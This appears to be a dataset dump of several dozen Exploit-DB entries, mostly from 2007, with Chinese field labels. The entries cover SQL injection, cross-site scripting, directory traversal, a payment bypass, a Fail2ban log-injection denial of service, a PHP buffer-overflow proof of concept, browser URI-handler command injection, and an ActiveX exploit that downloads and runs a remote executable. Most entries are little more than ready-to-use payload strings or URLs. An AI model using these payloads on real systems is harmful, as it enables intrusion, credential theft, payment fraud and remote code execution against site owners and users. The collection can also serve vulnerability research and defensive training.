QLWD/code_shield huggingface dataset:
标题: IT!CMS 0.2 - 'titletext-ed.php?wndtitle' Cross-Site Scripting EDB-ID: 30435 CVE: 2007-4115 类型: WEBAPPS 平台: PHP 发布日期: 2007-07-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/25129/info
  
IT!CMS is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
  
IT!CMS 0.2 is vulnerable to these issues; other versions may also be affected.

http://www.example.com/titletext-ed.php?wndtitle=[Xss-script] URL: https://www.exploit-db.com/exploits/30435
标题: IT!CMS 0.2 - 'menu-ed.php?wndtitle' Cross-Site Scripting EDB-ID: 30434 CVE: 2007-4115 类型: WEBAPPS 平台: PHP 发布日期: 2007-07-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/25129/info
 
IT!CMS is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
IT!CMS 0.2 is vulnerable to these issues; other versions may also be affected.

http://www.example.com/menu-ed.php?wndtitle=[Xss-script] URL: https://www.exploit-db.com/exploits/30434
标题: Fail2ban 0.8 - Remote Denial of Service EDB-ID: 30430 CVE: 2007-4321 类型: DOS 平台: LINUX 发布日期: 2007-07-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/25117/info

Fail2ban is prone to a remote denial-of-service vulnerability because the application fails to properly ensure the validity of authentication-failure messages.

Successfully exploiting this issue allows remote attackers to add arbitrary IP addresses to the block list used by the application. This allows attackers to deny further network access to arbitrary IP addresses, denying service to legitimate users.

Fail2ban 0.8.0 and prior versions are vulnerable to this issue. 

This issue may be demonstrated by connecting to an SSH server with 'nc', and sending the following string:

ROOT LOGIN REFUSED hi FROM 1.2.3.4

where '1.2.3.4' is an IP address to be blocked. URL: https://www.exploit-db.com/exploits/30430
标题: Berthanas Ziyaretci Defteri 2.0 - 'Yonetici.asp' SQL Injection EDB-ID: 30424 CVE: 2007-4119 类型: WEBAPPS 平台: ASP 发布日期: 2007-07-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/25109/info

Berthanas Ziyaretci Defteri is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Berthanas Ziyaretci Defteri 2.0 is affected; other versions may also be vulnerable. 

To demonstrate this issue, use the following string for both the username and password of the vulnerable script:

' OR '1'='1 URL: https://www.exploit-db.com/exploits/30424
标题: Pay Roll Time Sheet and Punch Card Application With Web UI - 'login.asp' SQL Injection EDB-ID: 30427 CVE: 2007-4106 类型: WEBAPPS 平台: ASP 发布日期: 2007-07-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/25114/info

Pay Roll - Time Sheet and Punch Card Application With Web Interface is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

To demonstrate this issue, use a valid username, such as 'admin', in the Username field, and the following string for the password field of the vulnerable script:

anything' OR 'x'='x URL: https://www.exploit-db.com/exploits/30427
标题: Metyus Forum Portal 1.0 - 'Philboard_Forum.asp' SQL Injection EDB-ID: 30423 CVE: 2007-4116 类型: WEBAPPS 平台: ASP 发布日期: 2007-07-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/25096/info

Metyus Forum Portal is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Metyus Forum Portal 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/philboard_forum.asp?forumid=-99+union+all+select+0,1,2%20,3,4,5,6,7,8,9,password,username,12,13,14,15,16,17,18,19,20+%20from+users URL: https://www.exploit-db.com/exploits/30423
标题: Online Store Application Template - 'Sign_In.aspx' SQL Injection EDB-ID: 30425 CVE: 2007-4109 类型: WEBAPPS 平台: ASP 发布日期: 2007-07-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/25112/info

Online Store Application Template is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

To demonstrate this issue, use a valid username, such as 'admin', in the Username field, and the following string for the password field of the vulnerable script:

anything' OR 'x'='x URL: https://www.exploit-db.com/exploits/30425
标题: Message Board / Threaded Discussion Forum - 'Sign_In.aspx' SQL Injection EDB-ID: 30426 CVE: 2007-4110 类型: WEBAPPS 平台: ASP 发布日期: 2007-07-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/25113/info

Message Board / Threaded Discussion Forum is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

To demonstrate this issue, use a valid username, such as 'admin', in the Username field, and the following string for the password field of the vulnerable script:

anything' OR 'x'='x URL: https://www.exploit-db.com/exploits/30426
标题: Real Estate Listing Website Application Template Login Dialog - SQL Injection EDB-ID: 30428 CVE: 2007-4111 类型: WEBAPPS 平台: ASP 发布日期: 2007-07-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/25115/info

Real Estate Listing Website Application Template is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

To demonstrate this issue, use a valid username, such as 'admin', in the Username field, and the following string for the password field of the vulnerable script:

anything' OR 'x'='x URL: https://www.exploit-db.com/exploits/30428
标题: Cisco EPC3925 - Persistent Cross-Site Scripting EDB-ID: 30415 CVE: 2013-6976 类型: WEBAPPS 平台: HARDWARE 发布日期: 2013-12-21 漏洞利用脚本: #######################################################################

# Exploit Title: Cisco EPC3925 - Persistent Cross Site Scripting 

# Google Dork: N/A 

# Date: 12-11-2013 

# Exploit Author: Jeroen - IT Nerdbox 

# Vendor Homepage: http://www.cisco.com 

# Software Link: Not public 

# Version: epc3925-E10-5-v302r125572-130520c 

# Tested on: Cisco EPC3925 

# CVE: N/A

#######################################################################

# Description

# The parameter DdnsHostName is vulnerable to Persistent Cross Site Scripting. 

# However, there is client side input validation, which can easily be bypassed.

#

# Location:

#

# POST http://[target]/goform/Setup_DDNS 

# 

# Parameters:

#

#DdnsService=0&DdnsUserName=xxx&DdnsPassword=****&DdnsHostName=<Enter Payload Here>&save=Save+Settings 

# 

# Payload 

# 

# PoC: "><input onmouseover=prompt(document.cookie)>

#

# Check out the video at: http://www.nerdbox.it/cisco-epc3925-persistent-xss/ URL: https://www.exploit-db.com/exploits/30415
标题: IT!CMS 0.2 - 'lang-en.php?wndtitle' Cross-Site Scripting EDB-ID: 30433 CVE: 2007-4115 类型: WEBAPPS 平台: PHP 发布日期: 2007-07-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/25129/info

IT!CMS is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

IT!CMS 0.2 is vulnerable to these issues; other versions may also be affected. 

http://www.example.com/lang-en.php?wndtitle=[Xss-script] URL: https://www.exploit-db.com/exploits/30433
标题: Baidu Soba Search Bar 5.4 - 'BaiduBar.dll' ActiveX Control Remote Code Execution EDB-ID: 30431 CVE: 2007-4105 类型: REMOTE 平台: WINDOWS 发布日期: 2007-07-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/25121/info

An ActiveX control installed with Baidu Soba search bar is prone to a remote code-execution vulnerability.

An attacker can exploit this issue to execute hostile code on a victim's computer in the context of the vulnerable application using the ActiveX control (typically Internet Explorer). Successful exploits will allow attackers to execute arbitrary code with the privileges of the affected user; other consequences are possible.

This issue affects Baidu Soba 5.4; other versions may also be affected. 

<html>
<head>

<script>

function DowndloadCalcAndRun()
{

com.DloadDS("http://www.example.com/svcho st.cab", "svch ost.exe", 0);

}

</script>
</head>
<OBJECT ID = "com" CLASSID = "CLSID:{A7F05EE 4-0426-454F-8013-C41E 3596E9E9}">
</OBJECT>
<script>
DowndloadCalcAndRun()
</script>
</html> URL: https://www.exploit-db.com/exploits/30431
标题: phpCoupon - Remote Payment Bypass EDB-ID: 30429 CVE: 2007-4143 类型: WEBAPPS 平台: PHP 发布日期: 2007-07-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/25116/info

phpCoupon is prone to a remote payment-bypass vulnerability because the application fails to properly secure PayPal payment transactions.

Successfully exploiting this issue allows remote attackers to perform payment transactions in the application without actually paying money. This allows them to obtain services for free. 

The following URI demonstrates this issue:

http://www.example.com/path/user.php?REQ=auth&billing=141&status=success&custom=upgrade5

The '141' and the 'upgrade5' values may vary from installation to installation. URL: https://www.exploit-db.com/exploits/30429
标题: Nukedit 4.9.x - 'login.asp' Cross-Site Scripting EDB-ID: 30402 CVE: 2007-4052 类型: WEBAPPS 平台: ASP 发布日期: 2007-07-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/25081/info

Nukedit is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/utilities/login.asp?email=%22%3C/textarea%3E%3Cscript%3Ealert(%27XSS%27)%3C/script%3E URL: https://www.exploit-db.com/exploits/30402
标题: WordPress Plugin WP-FeedStats 2.1 - HTML Injection EDB-ID: 30403 CVE: 2007-4104 类型: WEBAPPS 平台: PHP 发布日期: 2007-07-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/25085/info

The WP-FeedStats plugin for WordPress is prone to an HTML-injection vulnerability because it fails to sufficiently sanitize user-supplied input data.

Exploiting this issue may allow an attacker to execute HTML and script code in the context of the affected site, to steal cookie-based authentication credentials, or to control how the site is rendered to the user; other attacks are also possible.

This issue affects versions prior to WP-FeedStats 2.4. 

http://www.example.com/_wp1/?feed=rss2&<script>alert(1)</script> URL: https://www.exploit-db.com/exploits/30403
标题: Bandersnatch 0.4 - Multiple Input Validation Vulnerabilities EDB-ID: 30405 CVE: 2007-3909 类型: WEBAPPS 平台: PHP 发布日期: 2007-07-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/25094/info

Bandersnatch is prone to multiple input-validation vulnerabilities because the application fails to sanitize user-supplied input. These issues include multiple SQL-injections vulnerabilities and an HTML-injection vulnerability.

A successful exploit may allow an attacker to steal cookie-based authentication credentials, execute malicious script code, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

This issue affects Bandersnatch 0.4; other versions may also be affected. 

http://www.example.com/index.php?date=[SQL]
http://www.example.com/index.php?limit=[SQL] URL: https://www.exploit-db.com/exploits/30405
标题: T1lib - 'intT1_Env_GetCompletePath' Buffer Overflow (PoC) EDB-ID: 30401 CVE: 2007-4033 类型: DOS 平台: PHP 发布日期: 2007-07-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/25079/info

T1lib is prone to a buffer-overflow vulnerability because the library fails to perform boundary checks before copying user-supplied data to insufficiently sized memory buffers.

An attacker can exploit this issue to execute arbitrary machine code in the context of applications that use the affected library. Failed exploit attempts will likely trigger crashes, denying service to legitimate users.

We do not know which versions of T1lib are affected. 

<?php
/*
PHP imagepsloadfont Buffer Overflow Vulnerability

Discovered & Coded by: r0ut3r (writ3r [at] gmail.com)

Vulnerable dll: php_gd2.dll
- Tested on WinXP SP0, PHP/5.2.3, Apache 2.2.4

The argument given was A * 9999

Access violation when reading [41414151]
----------------------------------------

Registers:
----------
EAX 77F76238 ntdll.77F76238
ECX 77C2AB33 MSVCRT.77C2AB33
EDX 01543260 php_gd2.01543260
EBX 41414141
ESP 00C0FD58
EBP 00C0FD90
ESI 41414141
EDI 00222738
EIP 77F53284 ntdll.77F53284
C 0  ES 0023 32bit 0(FFFFFFFF)
P 0  CS 001B 32bit 0(FFFFFFFF)
A 1  SS 0023 32bit 0(FFFFFFFF)
Z 0  DS 0023 32bit 0(FFFFFFFF)
S 0  FS 0038 32bit 7FFDE000(FFF)
T 0  GS 0000 NULL
D 0
O 0  LastErr ERROR_SUCCESS (00000000)
EFL 00010212 (NO,NB,NE,A,NS,PO,GE,G)
ST0 empty +UNORM 7D18 00560000 00561378
ST1 empty +UNORM 2402 0012BCD0 00000001
ST2 empty +UNORM 17CD 77F516F5 FFFFFFFF
ST3 empty 0.0889391783750232330e-4933
ST4 empty +UNORM 0082 0017020C 77D43A5F
ST5 empty +UNORM 0002 77D489FF 00000000
ST6 empty 10000.00000000000000
ST7 empty 10000.00000000000000
               3 2 1 0      E S P U O Z D I
FST 4000  Cond 1 0 0 0  Err 0 0 0 0 0 0 0 0  (EQ)
FCW 027F  Prec NEAR,53  Mask    1 1 1 1 1 1

Proof of concept below: 
*/

if (!extension_loaded("gd"))
 die("PHP_GD2 extension not loaded!");

$buff = str_repeat("A",9999);

$res = imagepsloadfont($buff);
echo "boom!!\n";
?> URL: https://www.exploit-db.com/exploits/30401
标题: Vikingboard 0.1.2 - 'topic.php' Cross-Site Scripting EDB-ID: 30386 CVE: 2007-4088 类型: WEBAPPS 平台: PHP 发布日期: 2007-07-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/25056/info
   
Vikingboard is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
   
Exploiting this issue could allow an attacker to steal cookie-based authentication credentials and to launch other attacks.
   
Vikingboard 0.1.2 is vulnerable; other versions may also be affected. 

http://www.example.com/viking/topic.php?t=2&s=0[XSS-CODE] URL: https://www.exploit-db.com/exploits/30386
标题: BSM Store Dependent Forums 1.02 - 'Username' SQL Injection EDB-ID: 30390 CVE: 2007-4095 类型: WEBAPPS 平台: PHP 发布日期: 2007-07-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/25072/info

BSM Store Dependent Forums is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Dependent Forums 1.02 is vulnerable; other versions may also be affected. 

' union select * from members where member=1 URL: https://www.exploit-db.com/exploits/30390
标题: iFoto 1.0 - 'index.php' Directory Traversal EDB-ID: 30389 CVE: 2007-4092 类型: WEBAPPS 平台: PHP 发布日期: 2007-07-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/25065/info

iFoto is prone to a directory-traversal vulnerability because it fails to properly sanitize user-supplied input.

A remote attacker can exploit this issue to view the directory structure of the affected computer within the context of the webserver.

This issue affects iFoto 1.0; other versions may also be affected. 

http://www.example.com/ifoto/?dir=..%2F..%2F..%2F..%2F..%2F..%2Fetc
http://www.example.com/ifoto/?dir=../../../../../../etc
http://www.example.com/ifoto/index.php?dir=../../../../../../ URL: https://www.exploit-db.com/exploits/30389
标题: Vikingboard 0.1.2 - 'post.php' Cross-Site Scripting EDB-ID: 30385 CVE: 2007-4088 类型: WEBAPPS 平台: PHP 发布日期: 2007-07-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/25056/info
  
Vikingboard is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
  
Exploiting this issue could allow an attacker to steal cookie-based authentication credentials and to launch other attacks.
  
Vikingboard 0.1.2 is vulnerable; other versions may also be affected. 

http://www.example.com/viking/post.php?mode=00&f=1[XSS-CODE]&poll=0

http://www.example.com/viking/post.php?mode=03&t=2"e=2[XSS-CODE]

http://www.example.com/viking/post.php?mode=03&t=2[XSS-CODE]"e=2

http://www.example.com/viking/post.php?mode=00&f=1&poll=0[XSS-CODE]

http://www.example.com/viking/post.php?mode=02&p=2[XSS-CODE] URL: https://www.exploit-db.com/exploits/30385
标题: Vikingboard 0.1.2 - 'cp.php' Cross-Site Scripting EDB-ID: 30383 CVE: 2007-4088 类型: WEBAPPS 平台: PHP 发布日期: 2007-07-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/25056/info

Vikingboard is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue could allow an attacker to steal cookie-based authentication credentials and to launch other attacks.

Vikingboard 0.1.2 is vulnerable; other versions may also be affected. 

http://www.example.com/viking/cp.php?mode=9&id=2[XSS-CODE]

http://www.example.com/viking/cp.php?mode=7&f=1[XSS-CODE]

http://www.example.com/viking/cp.php?mode=6"e=1[XSS-CODE]

http://www.example.com/viking/cp.php?mode=12&act=[XSS-CODE] URL: https://www.exploit-db.com/exploits/30383
标题: Vikingboard 0.1.2 - 'cp.php' Information Disclosure EDB-ID: 30388 CVE: 2007-4089 类型: WEBAPPS 平台: PHP 发布日期: 2007-07-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/25060/info
 
Vikingboard is prone to multiple information-disclosure weaknesses because attackers may disclose sensitive information that may be used in other attacks on the system.
 
Vikingboard 0.1.2 is vulnerable; other versions may also be affected. 

http://www.example.com/viking/cp.php?mode=10&debug=1 URL: https://www.exploit-db.com/exploits/30388
标题: cPanel 10.9.1 - 'Resname' Cross-Site Scripting EDB-ID: 30380 CVE: 2007-4022 类型: WEBAPPS 平台: PHP 发布日期: 2007-07-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/25047/info

cPanel is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

cPanel 10.9.1 is vulnerable to this issue. 

http://www.example.com/scripts/passwdmysql?password=[xss]&user=root&submit=Change+Password URL: https://www.exploit-db.com/exploits/30380
标题: Vikingboard 0.1.2 - 'forum.php' Information Disclosure EDB-ID: 30387 CVE: 2007-4089 类型: WEBAPPS 平台: PHP 发布日期: 2007-07-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/25060/info

Vikingboard is prone to multiple information-disclosure weaknesses because attackers may disclose sensitive information that may be used in other attacks on the system.

Vikingboard 0.1.2 is vulnerable; other versions may also be affected. 

http://www.example.com/viking/forum.php?f=1&debug=1 URL: https://www.exploit-db.com/exploits/30387
标题: W1L3D4 philboard 0.3 - Cross-Site Scripting EDB-ID: 30382 CVE: 2007-4024 类型: WEBAPPS 平台: ASP 发布日期: 2007-07-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/25055/info

W1L3D4 Philboard is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

W1L3D4 Philboard 0.3 is vulnerable; other versions are also affected. 

http://www.example.com/script_path/W1L3D4_aramasonuc.asp?searchterms=[XSS] URL: https://www.exploit-db.com/exploits/30382
标题: Vikingboard 0.1.2 - 'user.php' Cross-Site Scripting EDB-ID: 30384 CVE: 2007-4088 类型: WEBAPPS 平台: PHP 发布日期: 2007-07-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/25056/info
 
Vikingboard is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
Exploiting this issue could allow an attacker to steal cookie-based authentication credentials and to launch other attacks.
 
Vikingboard 0.1.2 is vulnerable; other versions may also be affected. 

http://www.example.com/viking/user.php?u=2[XSS-CODE] URL: https://www.exploit-db.com/exploits/30384
标题: Multiple Browsers - URI Handlers Command Injection EDB-ID: 30381 CVE: 2007-3845 类型: REMOTE 平台: WINDOWS 发布日期: 2007-07-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/25053/info

Multiple browsers are prone to vulnerabilities that let attackers inject commands through various protocol handlers.

Exploiting these issues allows remote attackers to pass and execute arbitrary commands and arguments through processes such as 'cmd.exe' by employing various URI handlers.

An attacker can exploit these issues to carry out various attacks by executing arbitrary commands on a vulnerable computer.

Exploiting these issues would permit remote attackers to influence command options that can be called through protocol handlers and to execute commands with the privileges of a user running the application. Successful attacks may result in a variety of consequences, including remote unauthorized access.

Mozilla Firefox 2.0.0.5, 3.0a6 and Netscape Navigator 9 are reported vulnerable to these issues. Other versions of these browsers and other vendors' browsers may also be affected. 

mailto:%00%00../../../../../../windows/system32/cmd".exe ../../../../../../../../windows/system32/calc.exe " - " blah.bat

nntp:windows/system32/calc.exe%20"%20-%20"%20blah.bat

news:windows/system32/calc.exe%20"%20-%20"%20blah.bat

snews:windows/system32/calc.exe%20"%20-%20"%20blah.bat

telnet:windows/system32/calc.exe%20"%20-%20"%20blah.bat

telnet:// rundll32.exe url.dll,TelnetProtocolHandler %l

news:// â??%ProgramFiles%\Outlook Express\msimn.exeâ? /newsurl:%1

nntp:// â??%ProgramFiles%\Outlook Express\msimn.exeâ? /newsurl:%1

snews:// â??%ProgramFiles%\Outlook Express\msimn.exeâ? /newsurl:%1

mailto:// C:\lotus\notes\notes.exe /defini %1 URL: https://www.exploit-db.com/exploits/30381